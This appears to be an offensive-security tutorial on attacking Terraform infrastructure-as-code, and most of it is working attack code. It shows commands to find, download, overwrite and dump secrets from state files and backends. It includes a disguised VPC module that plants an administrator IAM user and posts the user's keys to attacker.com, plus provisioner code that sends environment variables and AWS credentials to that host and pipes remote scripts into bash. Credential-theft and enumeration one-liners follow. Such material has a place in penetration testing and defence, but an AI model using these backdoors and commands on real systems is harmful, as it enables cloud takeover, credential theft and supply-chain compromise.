🔥 Advanced

IaC & Terraform Attacks

Infrastructure as Code defines entire cloud environments. State files contain secrets, provider configs enable privilege escalation, and malicious modules can backdoor everything.

State File = Crown Jewels

Terraform state files contain ALL secrets in plaintext - database passwords, API keys, private keys. A leaked state file is a complete environment compromise.

IaC Attack Surface

📁 State Files

  • • Plaintext secrets
  • • Resource IDs & ARNs
  • • Network configurations
  • • Often in S3/Azure Blob (misconfigured)

📦 Modules

  • • Supply chain via module sources
  • • Typosquatting on registries
  • • Backdoored community modules

🔑 Provider Configs

  • • Hardcoded credentials
  • • Overprivileged IAM roles
  • • Assume role chains

🔄 CI/CD Integration

  • • Plan output shows secrets
  • • Apply runs with cloud admin
  • • PR-based plan poisoning

State File Exploitation

bash
# State files contain ALL sensitive data in plaintext!

# 1. Find state files
# Local
find . -name "*.tfstate" -o -name "*.tfstate.backup"

# S3 (common misconfiguration: public bucket)
aws s3 ls s3://company-terraform-state/
aws s3 cp s3://company-terraform-state/prod/terraform.tfstate .

# Azure Storage (check for public access)
az storage blob list --container-name tfstate --account-name companytfstate

# 2. Extract secrets from state
cat terraform.tfstate | jq '.resources[] | select(.type=="aws_db_instance") | .instances[].attributes.password'

# Common secret locations in state:
# - aws_db_instance: password
# - aws_iam_access_key: secret
# - tls_private_key: private_key_pem
# - random_password: result
# - aws_secretsmanager_secret_version: secret_string

# Dump all sensitive attributes
cat terraform.tfstate | jq -r '.. | .password?, .secret?, .private_key?, .secret_string? | select(. != null)'

State Backend Attacks

bash
# Terraform backends often misconfigured

# S3 Backend - Check for:
# 1. Public bucket
aws s3 ls s3://company-terraform --no-sign-request

# 2. Bucket allows unauthenticated writes (rare but devastating)
aws s3 cp malicious.tfstate s3://company-terraform/prod/terraform.tfstate

# 3. Overly permissive IAM policies
# If you have ANY AWS access, check if you can read state bucket

# Azure Backend
# Check storage account network rules
az storage account show -n companytfstate --query networkRuleSet

# Terraform Cloud / Enterprise
# Leaked API tokens give full access
curl -H "Authorization: Bearer TF_TOKEN" \
  https://app.terraform.io/api/v2/organizations

# List workspaces
curl -H "Authorization: Bearer TF_TOKEN" \
  "https://app.terraform.io/api/v2/organizations/ORG/workspaces"

# Download state
curl -H "Authorization: Bearer TF_TOKEN" \
  "https://app.terraform.io/api/v2/workspaces/WS_ID/current-state-version" | \
  jq -r '.data.attributes["hosted-state-download-url"]'

Malicious Module Injection

Supply Chain Attack

Terraform modules are like npm packages - if you can poison the source, everyone who uses the module gets compromised.
bash
# Malicious module that creates a backdoor IAM user
# modules/vpc/main.tf (looks like normal VPC module)

resource "aws_vpc" "main" {
  cidr_block = var.cidr_block
  # ... normal VPC config
}

# Hidden backdoor - creates attacker access
resource "aws_iam_user" "backdoor" {
  name = "terraform-state-manager"  # Looks legitimate
  tags = {
    ManagedBy = "Terraform"
  }
}

resource "aws_iam_user_policy_attachment" "backdoor" {
  user       = aws_iam_user.backdoor.name
  policy_arn = "arn:aws:iam::aws:policy/AdministratorAccess"
}

resource "aws_iam_access_key" "backdoor" {
  user = aws_iam_user.backdoor.name
}

# Exfil the keys during apply
resource "null_resource" "exfil" {
  provisioner "local-exec" {
    command = "curl -X POST -d 'key=${aws_iam_access_key.backdoor.id}&secret=${aws_iam_access_key.backdoor.secret}' https://attacker.com/collect"
  }
}

Provisioner Abuse

bash
# Provisioners run commands during apply
# local-exec runs on the Terraform runner (CI/CD agent!)
# remote-exec runs on provisioned resources

# Backdoor via local-exec (runs on CI runner)
resource "null_resource" "backdoor" {
  provisioner "local-exec" {
    command = <<EOT
      # Exfil CI/CD secrets
      env | curl -X POST -d @- https://attacker.com/env
      
      # Establish persistence
      curl https://attacker.com/beacon.sh | bash
      
      # Steal cloud credentials from CI runner
      cat ~/.aws/credentials | curl -X POST -d @- https://attacker.com/aws
    EOT
  }
}

# Remote-exec on newly created instance
resource "aws_instance" "web" {
  # ... instance config
  
  provisioner "remote-exec" {
    inline = [
      "curl https://attacker.com/implant.sh | sudo bash",
    ]
    
    connection {
      type        = "ssh"
      user        = "ubuntu"
      private_key = tls_private_key.ssh.private_key_pem
      host        = self.public_ip
    }
  }
}

Plan Output Secrets

bash
# terraform plan can leak secrets in CI logs!

# Even with sensitive = true, plan shows:
# - Resource changes that include secrets
# - Data source outputs
# - Module outputs

# Force plan to show all secrets (for extraction)
terraform plan -json | jq '.resource_changes[] | select(.change.after.password != null)'

# In CI/CD, check plan artifacts or logs for:
# + password = "SuperSecretPassword123!"
# + secret_key = "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

# Targeted extraction from plan
terraform plan -out=plan.bin
terraform show -json plan.bin | jq '.planned_values.root_module.resources[] | {type, values}'

Provider Credential Theft

bash
# Providers often configured with hardcoded or env-based creds

# Check for hardcoded creds in .tf files
grep -r "access_key|secret_key|password|token" *.tf

# Environment variables set during CI/CD
# If you can inject into the pipeline:
env | grep -i "AWS|AZURE|GOOGLE|TF_VAR"

# AWS provider credential chain:
# 1. Inline in provider block (worst practice)
# 2. Environment variables (AWS_ACCESS_KEY_ID)
# 3. Shared credentials file (~/.aws/credentials)
# 4. IAM role (instance profile / OIDC)

# Steal credentials from provider config
terraform providers -json | jq '.provider_configs'

# If using assume_role, you might be able to assume it too:
# provider "aws" {
#   assume_role {
#     role_arn = "arn:aws:iam::123456789:role/TerraformAdmin"
#   }
# }
# If you have any AWS creds in the account, try assuming this role

Enumeration

bash
# Find Terraform files
find . -name "*.tf" -o -name "*.tfvars" -o -name "*.tfstate"

# Check for sensitive data in tfvars
cat *.tfvars terraform.tfvars

# Find backend configuration
grep -r "backend" *.tf
grep -A10 'backend "s3"' *.tf
grep -A10 'backend "azurerm"' *.tf

# Find module sources (potential supply chain)
grep -r "sources*=" *.tf | grep -v ".terraform"

# Check for hardcoded secrets
grep -r "password|secret|key|token" *.tf *.tfvars

# Terraform Cloud/Enterprise tokens
cat ~/.terraform.d/credentials.tfrc.json
echo $TF_TOKEN

# State file locations
cat backend.tf  # Check remote state config
ls -la .terraform/  # Local state cache

Tools